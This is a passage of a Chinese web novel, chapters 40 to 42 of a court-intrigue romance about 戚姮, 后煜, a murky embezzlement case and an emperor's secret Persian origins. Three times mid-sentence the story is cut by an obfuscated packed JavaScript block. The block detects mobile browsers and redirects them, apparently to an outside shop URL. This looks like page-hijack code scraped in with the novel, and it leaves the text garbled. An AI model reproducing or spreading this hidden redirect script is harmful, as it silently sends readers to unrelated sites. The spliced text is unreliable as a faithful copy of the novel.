戚姮面对他陡然拔高的质问,完全惊呆了:“不、不然呢?你不是想躲解烺才来找我的吗,现在他比老鼠还老实,我要出远门,放你离开不好吗。” “不好!”后煜想都没想直接脱口而出,“就算是把我当个物件,用了这么久,你居然也能说扔就扔……” 后知后觉意识到这已经不可控地发展成情债了,戚姮绝望地闭上眼。 好好讲道理,甚至还为这货考虑了一番,居然被质问上了。 哪知后煜看到她这么绝望心更碎了:“你都不愿意看我,我有这么不堪吗?” 戚姮崩溃地又睁开眼睛:“我何时不愿意看你了?” 她还很冤枉:“一开始商量好的,你亲口答应的就是来躲躲。现在你的性命无忧,我要出远门我要离开,给你一个选择不是逼你走,我咋了我?” 后煜垂着脑袋,眼泪啪嗒啪嗒掉的比雨点子还密:“你为我做了那么多,原来真的只是可怜我,不是别的。” 戚姮:“那你要是过得老爽老得劲了我肯定不会管你啊!” “侯府天天都有病人扶进来,你为他们请郎中,安排暂住。我以为我是特殊的那个,只有我能参与到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531488|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的生活中,曾经过得不好我也认了。” “结果……结果我跟他们也没有区别。病治好了就该走了。” 后煜咬着下唇,缓了半天才说出下一句:“我还不如他们,你只把我当秦楼楚馆卖身的小倌。” “我是不是说了,不想走也可以,随便,我可以继续养着你。”戚姮捂着前额,头疼极了,“是你先开口提的进我家,期间履行义务,那叫天经地义。怎么又成我折辱你了?” “仁至义尽到这份上你还在控诉什么?要是嫌我对你还不够好,我无话可说。找对你更好的去,我伺候不了了。” 后煜慌乱道:“我喜欢你,我不走!” 戚姮说:“事都翻篇了,不用再演了。” “我没有在演,你相信我。”后煜抬起袖口抹掉泪,“我会写好辞呈交上去,很快,今天。我不要留在这,我要跟你一起走,你带着我一起走好不好。” 戚姮示意他打住:“辞呈?” 后煜点头,缓缓道出心中所想:“我曾经是想过入仕,却是要走科举之路,从没要靠家族荫庇。我爹硬把我塞到这个地位,太高了,我的压力太大了。” “我总觉得我占了别人寒窗苦读十几年的才该有的位置,原先为了生计,的确呆了两年。现在不用再担心那些,我也该下来了。” 戚姮静静听着,等他说完了也没什么太大反应,只道:“你自己想好了就成。只要还有打仗的一天,我随时都能官复原位。” “你不一样,这次辞了,将来只能从头参加童试乡试。再想升到从四品,至少也得五六十了。” 后煜应:“我想好了,就这两年的经历,我很清楚我不适合官场。全都不如这几天在侯府过得舒心。” “你别赶我走,以后我也不会再入仕了。就在家,你去哪我都要跟着……” 戚姮也没说行不行,反正就此打住不想再聊了。 看着戚姮三两步上了马车,后煜站在原地,撑着伞不知所措。 他想问一句,可又怕问了是自找难堪,下一波委屈涌上来之前,戚姮掀开了帘子:“你到底上不上来?” 后煜连忙爬了进去。 戚姮手肘撑在膝盖上,往那一坐,很是匪夷所思地瞥了好几眼安静缩在角落的后煜。 真没见过这种放他自由还不愿意走的人。 “波斯路远,你上次刚学会驭马。回家再练练,别连赶路都不会。” 她这算是答应了,后煜呆了呆,窃喜着应下:“好。” 戚姮身上穿得正是昨晚上他刚制成的新衣,尺寸正好。经后煜观察她很喜欢红色和黄色,衣柜里几乎全是这样的配色。甚至因为太过明艳,不适合本朝的服饰风格,她还会采用了前朝和更早之前的设计。 不是没人这么穿过,她这般也不算突兀。 后煜端详着自己的设计,寻找着不足之处,看了半天,发现很完美。 侯府的布匹上乘,戚姮身材也好,宽肩窄腰,有胸有腿,长得也极其高挑,无论男装女装全都不突兀。 原来做成的衣物让好看的人穿上这么好看…… 后煜思索着下次要多制些了。 他突然搭上了戚姮的肩,凑过去试探着想去亲她。见戚姮不躲,默许了,才真正吻了上去。 所有的不甘随着这个吻化解,再分开,后煜轻蹭她的鼻尖,又缠绵着亲了许久。 “我真的喜欢你。”后煜抵着她的额头,抱着不愿意松手,“当成卖身的也可以,还好我年轻,还有身可卖。” 40. 水落石出【八】 “我还是蛮欣赏你这能屈能伸,不瞎好面子的劲儿。” 戚姮坐起身,穿着最后两只鞋:“正经人听我那么说,下不来台早跑了。” 后煜挪过去,趴在床边问:“我不是正经人吗?” 戚姮:“……” “你再乱猜试试。”戚姮万分不理解,“我都怀疑你不是人了。” 后煜枕着胳膊,被子盖过一半的脊背,他注视着戚姮的侧脸,道:“跟你没办法好面子。我若因此闹脾气说走就走,你是真的会觉得跑了正好。” 戚姮笑了两声:“你第一次说想进侯府的时候,我以为你是个喜欢生闷气让我猜的人。” “我等过你猜,你不搭理我,我就又去找你了。”后煜挠了挠脑袋,“就是夏瑾喝醉了那次。他想亲你,你却没有踹他。你为什么不揍他?” 他越说越生气:“你也喜欢他吗?他对谁都是这么轻浮,根本……” 戚姮忙打断:“我在套他的话啊。差点就问出宁淮的秘密是什么了,你上来就是一脚。” “现在赫连般若的嘴比铁疙瘩还硬,死活不肯说。我都不知道该从哪下手了。” “噢。”后煜得劲多了,“不好意思。我以为你和公主眼光都这么差。” “……”戚姮想了想,“夏怀微不是赵元会感兴趣的类型,估计就是耍他玩玩。现在用不着了,踹了也正常。” “你对我也是想玩……” 戚姮赶在他继续遐想前道:“我还真不是硬赶你走,给你个离开的机会而已,谁知道你能这么生气。” “你根本就不在乎我。”后煜说,“感觉我们感情淡了。” 戚姮:“……你不要学我说话。” 后煜埋头进枕间,不吭声了。 “说起来,你最让我满意的一点就是听话。无论我说什么你都听,甭管真的假的。 戚姮肩膀抖着笑了半天:“前几天我说家里出现了财政危机,我要给官家远赴南蛮做苦力抵债。昨天我就在你屋里发现你又在做假账,你在准备扣下北凉进献的贡品。” 后煜大惊:“你怎么翻到的?” 喊完以后他捂着嘴,像四周张望了一眼,生怕有人听见,小声道:“你居然是骗我的?” “我逗你玩呢,这么扯也信?”戚姮说,“我也没想到你真敢贪啊!” “哎呀……都贪过,就朝堂那点俸禄哪够支撑起他们府中那么大的开销。”后煜伸手比划,“我就准备挪用一点点,日后慢慢放高债吃利息。” 他嘟囔:“反正抗击北凉的功劳七成都是你的,用一点没什么吧……” 戚姮越听笑得越停不下来:“侯府有钱到家里只剩下钱,把那账赶紧给我撕了。” “这样啊。”后煜傻笑了声,“那就好。” “倒插门养不熟的太多,害得我一直不敢成亲,就怕摊上吃绝户的。” “结果你背着我挪公家钱要养侯府。”戚姮笑得都快跪地下去了,“还是你这种性格讨人喜欢,废话不多说直接做。” “……”后煜被笑得不好意思,揪起被子遮住半张脸,支支吾吾了半天。 “还是文则了解我啊,千挑万选,都还不如她直接送人给我。” 戚姮自顾自说着,抬手摘了挂在发丝上都快要掉下来的银饰,绕到茶桌旁倒水喝:“赶紧写辞呈的吧,等你什么时候把太府寺的账交接完什么时候走。” 后煜闻言,立刻爬起来找着衣裳就往身上套,生怕晚了她就反悔了:“我现在就写。” 戚姮认真想了想还有没有必要将探查到消息告知赵初,还要不要再演一演什么都不知道。 等丫鬟为她重新梳妆好了以后,她叹了口气,叫人上了笔墨。 像后煜交接工作那样走个流程好了。 他在旁边一封信一封信的写着,戚姮斜眼瞧了几次,准备照抄他的格式。 怕是如后煜所说,他早就有辞官的打算了。 当初手伤那么重,连赵繁英听说了以后都愿意给批个半月假期。后煜却只在家待了五天,念叨着什么“盐钞要赶紧核销”就着急忙慌复工了。 整个五月份连轴转着都没有停下,昨日刚清算干净尾账,今日他也出现在了皇宫。 恐怕不是恰好碰到,就该他向皇帝提辞官了。 戚姮咬着笔杆,一时之间不知从什么地方写起。 “世子,信王殿下来了。”女使推门而入,通报道:“您见不见?” 戚姮放下笔,如释重负:“正好,让他来。我有话跟他说。” 女使应着是出去了。 后煜听完搓了搓手,不自然地:“我还是先出去……” “回来。”戚姮拽住了他的衣角,“你躲什么?” “……” 屋内点着沉香,赵初拍了拍身上溅到的水珠,绕过屏风,还没走两步,脚下就徐徐顿住了。 戚姮推掉面前的纸笔,朝他招了招手。赵初身后已经有女使端着茶点进来了,一盘一盘摆在桌面,还为他铺好褥垫。 等着赵初落座,戚姮捻起糕点咬了一口:“舅舅把情况都跟你说了吧?” “嗯。”赵初端坐着,“我没想到你真的会把官辞了。” 戚姮轻笑:“这么多人等着我离开枢密院呢,我要还赖着不走,你会不会觉得我实在太不识时务了些?” 赵初身形一僵:“我怎么会这样想?” 戚姮:“我就说说,看你激动的。” 赵初:“……” 戚姮与赵初的关系自幼算不得差,闹成今天这样完全超出了她的预料。不然也不至于到很最后了才怀疑到赵初头上,潜意识里,她并不觉得赵初是这样的人。 赵元做得很对,如果这件事不是戚姮自己查出来的,是后煜说的,她的第一反应绝对是怀疑有人在使离间计。 准东宫太子和侯府继承人要是闹掰了,要么前者死要么后者死,赵初登基不会放过侯府,侯府为自保也会阻止他做皇帝。 这么你死我活的场面自然有太多人乐意看到,离间并非没有可能。 结果事实就是,赵初太想不开。皇位注定会是他的,甚至都没有个兄弟争抢,他居然会怕成这样,铤而走险,连昔日旧情都不顾了。 赵初在军队北伐之前特意找到戚姮,求她可不可以不去前线,可不可以留在汴京跟他成亲。 戚姮吓了一跳,自小把他当亲弟弟不说,哪有临上阵前为私人感情打退堂鼓的。戚砚和赵繁英为了把她送进军队没少被骂,这要是辜负了,她都没脸再见人。 推拒了至少四五次赵初才罢休,直到回来都不敢跟他太亲近,就怕这小子再起心思。 怕是赵初那时就已经在想瓦解侯府根基了。后来戚姮能力愈发强盛,他感受到威胁,才一手策划了这些。 十四岁的孩子居然真的会有这么深的城府。 戚姮跟赵初面面相觑了许久,相顾无言。 赵初是有问题,可他也是赵繁英唯一的儿子,皇位只会是他的。即便要压制他的势力也要慢慢来,现在还不能撕破脸。 她努力张开嘴想说什么,准备先将后续准备继续深挖的问题跟他说说:“宁淮应该有个很大的阴谋。” 赵初先点头,接着“嗯?”了一声。 她换了个姿势,沉思道:“宁淮有个秘密想要掩盖,并且与楼兰有关。我去调了卷宗,翻出十三年前有关他与楼兰的档案。还真被我翻出蹊跷了。” 戚姮说:“那是先帝登基后第二年。” “先帝即位以后,第一件事就是平定熹宗皇帝时期的遗留问题,灾荒,匪患,瘟疫。起义军从南边一路向北,都快杀到淮南西路了。太府寺就是在这时候掌权,是为了分担国难当头的经济危机。” “问题就出在太府寺上面。李拭镜畏罪自杀的证据,远不如他刚掌权时做的那些来得真。” 后煜在旁边挠了挠左手的伤口,佯装不在意地一直偷听。 阴天下雨总是一阵一阵地发痒,他撕了半天结痂,变得又疼又痒。 “我爹被派去镇压流民,赈灾为主,武力为辅。而且他有个习惯,就是垫钱。朝廷临时拨不出款,亦或者钱不够,他都会掏自己腰包,打张欠条,等有钱了再还。” 戚姮翻出宣纸下面准备好的字条,摆在桌面:“这是清平元年朝廷写下的借据,白纸黑字写了多少流民,侯府出钱买了多少石粮食,总价几何。” 她又抽出另几张:“这是我进户部找着的那年下拨赈灾款的原件,专门默写下来的明细。” 赵初凑过去瞧了几眼,看不懂。 戚姮将这一堆拍在一起,推到赵初面前:“熹宗皇帝时期,波斯每年朝贡足足能养活半个江南,更别提国库原有的积蓄。太府寺所记录在案的左藏库存蓄,比着现在也没少多少。所以,并不存在拿不出钱的情况。” “包括先帝下的命令,我直接找到了当年圣旨。虽没有明说,但字里行间的意思也是即刻执行,要求太府寺现在立刻拿出这些钱送过去。” “结果到了前线,钱还是少了。” 戚姮突然扭头,凑到后煜面前:“你听懂了吗?” 后煜吓了一跳,还是说了:“……李拭镜贪了赈灾款,恰巧他有个在户部当左曹郎中的堂弟,二人合谋,掩盖了罪证。但没想到侯府会有留存的欠条。” 戚姮点头:“就是这样。” 赵初表情凝重,听完,蹙眉似有不解:“如果这么说。先帝应该没有亲自打过欠条,这又是哪来的?” “很简单,宁淮伪造的。”戚姮说,“从前,他跟着我爹的关系一度非常好,也很了解我爹。造假而已,有什么瞒不过去的。” “关系好,那他为什么还会这么做?” “其实我也很想问,”戚姮盯着他,”关系这么好,有什么过不去的非要这么算计。” 赵初回避了她的目光,不置可否。 “开个玩笑。”戚姮耸肩,“宁淮转变的关键,是在我爹娘成婚以后。他非常排斥异族胡人,波斯北凉楼兰大理高丽。就与我爹生分了……这是我爹说的。” 理由简单又有点荒谬。 却也能理解,曾经有很长一段时间大燕一直被波斯摁着打,许多年纪大些的朝臣都像今天恨北凉般恨着波斯。 戚姮又补充:“前提条件是一切都赶巧了。熹宗皇帝为蚕食侯府,故意欠过我家不少钱,我爹一直以为国库很空,付不起也正常。” “恰巧宁淮知道这事,恰巧我爹不聪明,伪造借条出来他就信了。没核实,直接就拿了钱。” “我爹回来以后没去要钱,连提都没提,随手把欠条扔在了书房。先帝驾崩的早,估计都不知道还有这事。” 赵初又问:“据我所知,侯爷清平二年就回来了。宁淮是怎么做到,确保侯爷从回来到先帝驾崩都不会提欠条的事?这很难吧。” “我爹不会提的,他就嘴严这点让人放心。”戚姮满脸笃定,“先帝别说要钱,要命他也能当场自裁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531489|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这算什么。” “?” 赵初和后煜双双皆是震惊。 她说:“宁淮忽悠几句,无非就是什么‘先帝身体不好不要说这种琐事’之类的话,他肯定不会说。到现在都被我追问了好久,发现事情很严重才肯告诉我的。” 赵初试探问:“先帝……救过侯爷的命?” “救过的命哪止我爹一条。” 戚姮也没有细说的意思,就着刚刚将宁淮的话,补充:“南边的动荡刚有平息之象,楼兰在这时候突然叛乱了,就是在我爹回京,让宁淮接替之后。” “时间点太巧,我不信他是个无害的局外人。” 戚姮继续:“楼兰叛乱这事是不是被冤枉的我不好下定论,但他贪了我爹的钱,联合李拭镜昧下不少朝堂的钱。将军府往年的消费我也让人探查了,就是普通府邸水平。” “这么多钱,不花在自己身上,我怀疑……他在养私兵。” 赵初睁大眼,尽是一副不可思议的呆滞模样:“私兵?” 瞧他这样也像是不知道了。 戚姮沉思着,宁淮到底在捣鼓什么呢? 那时赵初才刚学认字,最开始肯定跟他没关系。可如果真是养了私兵,现在进入赵初阵营,居然也没说吗…… 想到这,她严肃了起来:“我得提醒你一句,这事的发展已经超出最开始的预料了,你别不当回事。现在我辞了官,你别再闹什么脾气,好好把这事处理了。” “……”赵初抿着唇没说话,好几次瞥向后煜,又看着戚姮,终于问:“他是谁。” “不认识了?”戚姮说,“你们不是很熟吗?” 赵初一字一句地:“他为什么会在这。” “这是姐夫。”戚姮的手绕在后煜颊边,捏着他的脸,道,“自然要在这。” “……” 赵初要杀人的眼神剜过来,后煜傻笑了一下,气氛却没有因此缓和,他悻悻闭了嘴。 “贤妃娘娘要生了。” 赵初几乎是从唇缝里挤出这句话:“雨天地滑,她走在外面不小心摔了一跤,提前破了羊水。太医已经过去了,说今天必须要生。” 戚姮的表情瞬间被惊吓代替,一拍茶案站了起来:“这么大的事居然不早说!” 她也不管什么赈不赈灾,楼不楼兰,风风火火踏出房门,消失在现场。 后煜的眼珠从外面缓缓移到赵初脸上,平静的面容下品出了些许风雨欲来的意味,直勾勾盯过来,吓死个人。 他转过身子要跑,腿还没迈出去领口就被猛地拽住。 赵初拽着后煜远离碗碟,一把将他扔了出去,撞到墙壁才堪堪停住。 后煜已经许久没挨过打了,肩膀磕到墙上的瞬间,钻心的疼。还不等缓和,寒光闪过,刹那间颈间一凉。 “是你把我给卖了?” 他随身的短刀正抵在侧颈,后煜靠着墙,一动不敢动,嘴上更是否认:“我一句话都没说,是她自己查出来的。” 赵初丁点都不信:“这才一个月,有多大能耐的人能一个月就查到我头上?” “别说你头上,她都快查到我头上了!” 后煜整个人惊疑不定,音量却依旧压的很低:“一眼就看出了我做的账是假的,你不是说你掩盖的很好,连官家都没发现吗?我好不容易蒙过去,但凡被她捅出去,我就是谋害朝廷官员的大罪。我是有多蠢才会自己说出来?” 赵初万分不解:“这……这都是怎么查出来的?她一个打仗的会绕这么多心思?” “可能是夏怀微。” 后煜战火东引:“上次他喝醉了,逮着戚姮说了很多东西,等我发现去阻止的时候已经来不及了。紧接着没多久,戚姮就把这些查出来了。” 他有意有所指的留了几分意思:“我不知道猜得对不对,反正这事是真的。也有可能是我想多了。” “……”赵初有些烦躁,“我叫你来,是让你找她与波斯有往来的证据,没有你就造一个,你不是最会造假了吗?” “现在是什么意思?半分进展没有,你反倒要上位了。”赵初咬牙切齿地,“姐夫?” 后煜钳住赵初的手腕,甩开那把刀:“你想让我死吗?她连这么多年前的事都能查出真相来,再给她些日子,一并能把宁淮在其间搅浑水挑唆内乱的事都查出来。你让我在她眼皮子底下造假?” “什么挑唆内乱?”赵初拧眉问,“这是什么?” 后煜呆滞了片刻,他的思维被戚姮带着走,下意识以为赵初也知道这事,一时嘴快,不小心就脱口而出。 “你顺着戚姮停下的这里继续查下去,她让你小心宁淮,你就听她的。” 后煜敷衍道:“具体的我也不清楚,之前宰李拭镜意外发现的,查就行了。” 赵初垂下眼快速思索了一番,又举起了短刀,晃在后煜脸前:“我不管你怎么想的,敢和我姐姐成婚你试试。” 后煜忍不住挑衅:“你都已经这么对她了,就是戚姮不与我成亲,她还可能选你啊?” “我不需要她选我。只要她没了入仕的可能,勾结波斯罪名坐实,以后再上不了战场,不想进王府的门我也有办法让她进。” 刀尖拍了拍后煜的脸,赵初阴恻恻道:“你猜我有没有你当年造假账的证据?敢撬我墙角,我就把你捅到我爹面前,等你死了,我不介意娶寡妇。” “……” 赵初说:“她要去波斯了,这是你最后的机会。” 41. 水落石出【九】 燃尽的油灯被宫女换了两盏,长春宫还是没有婴孩降生的消息传来。 戚姮在偏殿绕着圈走来走去,走到日落西山才坐下休息了半个时辰,又不安地起身继续绕圈。 屋内只有她踩在地板的脚步声。 赵繁英保持一个姿势坐了整个下午,双手撑着额头,手肘抵着膝盖。直到腰酸背痛腿软手僵才慢慢抬起脑袋。 戚姮的不安被他落进眼里,赵繁英捂着肩膀活动几下,才道:“要是困了就回去歇息吧,这都快要亥时了。” “不行不行。”戚姮摇头,“我得看着,我必须要看一眼。” “有什么好看的。” 赵繁英起身,搭上戚姮的肩头要把她往外推:“头胎难生正常,还不知道要折腾多久。回家去吧,昨晚就没休息好,别再熬了。” “不要。”戚姮死活不肯走,抱着柱子不撒手,“我还没见过刚出生的婴儿。” 赵繁英推了半天,竟是纹丝不动:“你要是喜欢小孩,我去外面抱两个给你养。这有什么好见的?” “不一样,这有血缘,是亲人。”戚姮说,“我就要看,之前我都没见着。” 赵繁英还在劝:“听话,待会宫门落锁,你还怎么回去。” 戚姮:“那我就住下,宫里还能没有我住的地方吗。” “你这孩子……!” “陛下!陛下!” 徐公公叫喊着跑了进来,烛火昏暗,也依稀可见他面上喜色:“贤妃娘娘生了,是个皇子!” 随着他的话语落下,身后嬷嬷抱着襁褓从小门而进,未沾外头风雨。她“扑通”跪在赵繁英面前,贺道:“恭喜陛下!喜得麟儿!小皇子虽早产了几天,但身子硬朗。太医说,只要养护得当,存活完全不是问题!” 殿内宫女齐刷刷跪下,齐声喊着“恭喜陛下,喜得皇子”。 戚姮扭头看向赵繁英,得了他的许可后才俯身抱起襁褓,小小一个在怀中,轻得仿佛没有重量。 她的身子僵了半天,才缓缓放松下来,问:“贤妃娘娘可好?” “娘娘孕期调养得好,生产时没有任何大碍,瞧了一眼孩子便放心了。眼下已经被人伺候着换下被褥,准备休息了。” 戚姮连连点头:“那就好。” “徐世忠。” 徐公公连忙躬身行礼:“臣在。” 赵繁英停顿一瞬,继续道:“贤妃诞嗣有功,即升为贵妃,赏白银千两,锦缎百匹。今日接生稳婆,贵妃宫中所有宫女太监,皆去领赏。” “是。” 抱着襁褓赶来的嬷嬷忙叩头谢恩:“谢陛下恩典!” …… 待人都被赵繁英打发走了,他站在门口,淅淅沥沥的细雨早就停了,明月被阴云遮盖,湿冷的夜风拂过,吹得发寒。 他站在暗处,转身瞧着戚姮逗孩子。看了许久,才将门关上,从里头反锁。 “他饿不饿呀?要不要找个乳母先带下去喂奶?” 戚姮坐在椅子上,满脸新奇地伸手戳了戳襁褓中婴孩的脸颊,长这么大,她还是第一次摸到这么小的婴儿。 虽然有点丑,但抱着……有种奇怪的感觉。 戚姮心想,这难道是传说中的母爱。 赵繁英凑去细看了一眼他的模样,半晌才道:“不用。” “哦。”戚姮又问,“那他有名字了吗?” 赵繁英:“没有。” “快取一个快取一个!” “这有什么好取的。”他的语气中尽是无所谓。 戚姮看着他,怀疑人生:“名……不重要吗?” 赵繁英默了默,好像是说了句鬼话。 他连想都没想,直接说:“那就叫赵又吧。” 戚姮心中过了一遍“佑”“幼”“宥”,实在不确定具体哪个字,追问道:“哪个右?” “又生了一个的又。” 戚姮:“……” 赵元叫元,因为她是头胎女孩。赵初叫初,因为他是头胎男孩。这就是曾经赵繁英向戚姮解释过的含义,现在又来一个,还真叫“又”。 “也行。”认真取名反而不是他的作风了,戚姮低头继续逗孩子,突然举到赵繁英眼前,“舅舅你看他长得像不像你。” 赵繁英看着这么丑的婴孩,忍不住吐槽:“丑死了,我长这样?” “不丑啊。”戚姮看久了觉得丑萌丑萌的,“这个脸型,还有眉毛,简直长得和你一模一样嘛。” 他细细观察了半晌,伸手点在赵又的眉心,突然没头没尾来了一句:“如果眼睛是像你呢。” 戚姮没听懂,傻傻地问了一句:“什么意思?” 他的手向下,强行掰开了赵又的眼皮,他的蓝色眼珠暴露在空气中,映在二人眼底。 戚姮的瞳孔骤然紧缩。 小孩畏光,眼睛不能硬掰。赵繁英的动作惊吓到了他,惹得他又张嘴大哭起来。 可赵繁英也根本不想去管了,深吸一口气:“我就知道会是这样。” “……”戚姮低头,极致的不可思议从心底升腾,失声喃喃:“他……他。” 他怎么真长这样。 赵繁英没说话,从戚姮手里接过襁褓,抱在怀里轻轻哄着。 他抱过许多孩子,也养过许多孩子,动作已经相当熟练了。轻摇着哄了片刻,婴孩的哭声渐渐微弱,直到完全平息,在他的怀中陷入沉睡。 戚姮转动眼珠看向赵繁英。 他并不是平易近人的长相,带有几分疏离,不说话时唇角向下,并不显亲和。 此刻抱着亲生儿子,目光都不自觉柔和几分,摇曳烛光打在他的脸上,映亮了他眼底一闪而过的心绪,道不明说不清。 戚姮总觉古怪。 眼见婴儿被他强行撕开的眼皮下方已经渗出了些许血迹,赵繁英动作轻柔地帮他擦去,垂首亲了一口他的额头。 下一刻,他突然抬手,将婴儿重重向下摔——! 戚姮瞧着赵繁英的状态就不对劲,又实在说不上来那种感觉。视线自始至终没从他身上挪开,连身子都逐渐坐直。 眼见此行此景她的动作比脑子还快,猛地从座位弹起,飞扑到地上接住下坠的襁褓!这才没有真的摔倒地上。 她在地上翻滚一圈,抱着孩子离远了些,呼吸急促又满脸惊恐。 戚姮不可思议地望向赵繁英,怀中襁褓越抱越紧,止不住地颤抖。 “舅舅……?” 赵繁英没想到她的动作会这么快,也都愣了,迅速迈步而去:“把孩子给我。” 戚姮一个劲躲他的手:“我不。” 赵繁英吼了一句,难得厉色道:“给我!” “不给!”戚姮丝毫不惧,“你要做什么?摔死他吗?” “不然呢?”赵繁英开始后悔没有早些把她赶出宫去,“他不死,让所有人都知道我不是真正的赵璟,我生出来了个波斯种!” 声音在屋内回荡,绕着柱子,传进戚姮耳中。 她张了张嘴,哑口无言。 赵繁英并不是当年被送去波斯的质子赵璟,他只是个冒牌顶替的假皇子。这件事知道的人很少,戚姮算一个。 一时情绪过激说出了口,赵繁英握拳抵在唇边,偏过脸平复情绪。 戚姮喃喃自语:“之前那些孩子,都不是早夭……” 赵繁英从前还有过二子一女,皆是出生没几天就病死了。活得最久的那个也才刚活到满月,前一晚上好好的,第二天醒来就没气了。 所有人都以为真的是他运气不好,养不活孩子。现在看来,分明是出生就容貌异常,被赵繁英各种办法杀了,以掩盖一个更大的真相。 他的心情平复了许多,才向戚姮解释:“早几年我不是没试过生出一个从外貌上看不出差异的孩子,可他们不是金发,就是蓝眼。” 赵繁英问:“我怎么留,我能怎么办?承认我是波斯人,还是把锅甩给后妃,说这是她们私通的杂种?” “……” 戚姮捏紧裹着孩子的绸缎,失神喃喃:“怎么会这样。” 赵繁英何尝不想问,为什么概率就是那么大:“生不出来,我没法拥有一个完全黑发黑眼的孩子。我也是没有办法了……” 他缓缓来到戚姮的面前,伸开手:“舅舅悄悄把他处理了,谁也发现不了。” 戚姮抬起眼。 “不然消息泄露,别说我当不了皇帝,连你也会受牵连。” 一个波斯人,从西北跨越千里而来,冒名顶替,堂而皇之当了十二年皇帝,竟无一人察觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531490|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从赵勉被逼禅位留下烂摊子以后,中间赵轻絮在位两年,收拾残局。再到赵繁英上位,延续原本政策治国安邦,至今时局也才刚刚稳定几年。 就以朝臣排斥戚姮的态度来看,但凡动了恻隐之心留下这个孩子,等他自主睁眼被人看去,势必会引起一场动摇皇权根基的动荡。 到时候全国各地就都有了“赵氏宗亲”,甚至不用打清君侧的名义。 戚姮几次抬手,却每每都在赵繁英要碰到的时候闪到一边,闭着眼摇头:“不行,我做不到。” “我……既然你知道生不出来正常的孩子,为什么继续生他?不生不就好了吗,生出来再掐死……哪有,” 哪有这样的父亲。 戚姮没有说完。 赵繁英的医术完全足够他有千百种办法悄无声息的避子,近些年仅仅控制在降生四个孩子足以证明他确实这么干了。 偏偏要生下来,折腾一圈,再说不能留的话。 “赵初的性格,不足以支撑他当太子,他不是个当皇帝的料子。” 赵繁英猜到了戚姮没说完的那句话,半分也不生气:“你查了这么久的案子,还不知道赵初是什么人吗?” 屋内闷热了一晚上,戚姮却在此刻从后背升起了一阵寒意,她微张着嘴,哆嗦道:“你知道赵初做了什么?” “我知道,我当然知道。” 赵繁英承认的极快:“我见过的狠角色多了,他这点伎俩还想瞒过我?” “那……你让我调查这个案子,也是在暗示我……” 赵繁英又认了:“先前你与赵初关系还不错,他喜欢你,我摸不清你对他是什么意思。我要让你亲自发现真相,才一定会杜绝你帮着赵初登基的可能。” 他给出的理由和赵元一模一样。 戚姮僵在原地,忽然想起刚出狱那天去找他。 赵繁英说的那番话,看似在劝阻她不要再继续深究宁淮和李在溪,现在想想,实则是提供了调查方向。 戚姮的个性过于鲜明,但凡熟悉的人都能摸清。她咽不下这口气,就会想办法找到扳倒对方的铁证,初入官场很多流程摸不清楚,基本就是根据赵繁英提醒的话去查的。 他在反其道而行之…… 赵元和赵繁英全都察觉了赵初的计划,却都没有声张,不谋而合地各自在引导戚姮发现真相。 也就赵初这傻子以为自己做的天衣无缝。 “我就是想赌一把,万一生出正常孩子,我还有时间护他长大,换掉赵初名正言顺。” 赵繁英指着戚姮怀中,向来挺立的脊背逐渐弓了下去,心力交瘁:“结果还是生出了这么个东西。” 她明白这些道理,可无论戚姮怎么从大局上说服自己,也根本做不到把孩子交给赵繁英。他接着就会摔死,戚姮要眼睁睁看着这么小的孩子死在眼前。 戚姮探了探小家伙的脉搏,还在跳动着。 生死攸关,他却没心没肺地睡着大觉,再不哭闹一声。 她直直给赵繁英跪下:“我养他。我抱他回家。” 赵繁英一怔。 “求你了舅舅,不要杀他……别杀他好不好?求你了。” 戚姮给赵繁英磕了两个头,努力争取着一线生机:“你就再找一个婴儿!赵初如果实在指望不上,就让养子继位……反正对外只宣称是亲儿子。” 赵繁英缓步来到戚姮面前,跪坐在地,想抚摸她的脸颊,她下意识却是护紧襁褓。 赵繁英还是搭上了戚姮的侧脸,轻声道:“你连正经的婚都没成,抱回家个孩子。男人也难免被骂两句浪荡子,更何况……” “我不在乎。”戚姮摇头,“都没关系,那些都是小事……我把他带去波斯找文则,会有办法让他活下来的,会有办法……” “当年如果没有舅舅,我娘活不下来,也没有我的事了。”戚姮歪头蹭在赵繁英的掌心,“虽然你不是我娘的亲哥哥,但跟我的亲舅舅没有区别。” “就当是报答,一报还一报。”戚姮说的认真,表情近乎哀求。 简单的亲缘纽带,可以绑住两代人,做出近乎一致的选择。 赵繁英两滴泪随着他眨眼而滑落:“……我就是你娘的亲哥哥,你的亲舅舅。” “赵元,她也是你的亲姐姐。” 42. 水落石出【十】 戚姮身上的斗篷将赵又捂的严实,没吹到一丝冷风,乘着马车回到了侯府。 她浑浑噩噩地叫人去寻乳母,恰巧府内有个刚刚出月子就回来伺候的小丫头,才二十五岁,奶水充足。听管事嬷嬷说人也老实,身上无病无灾,她才点头叫了人来喂奶。 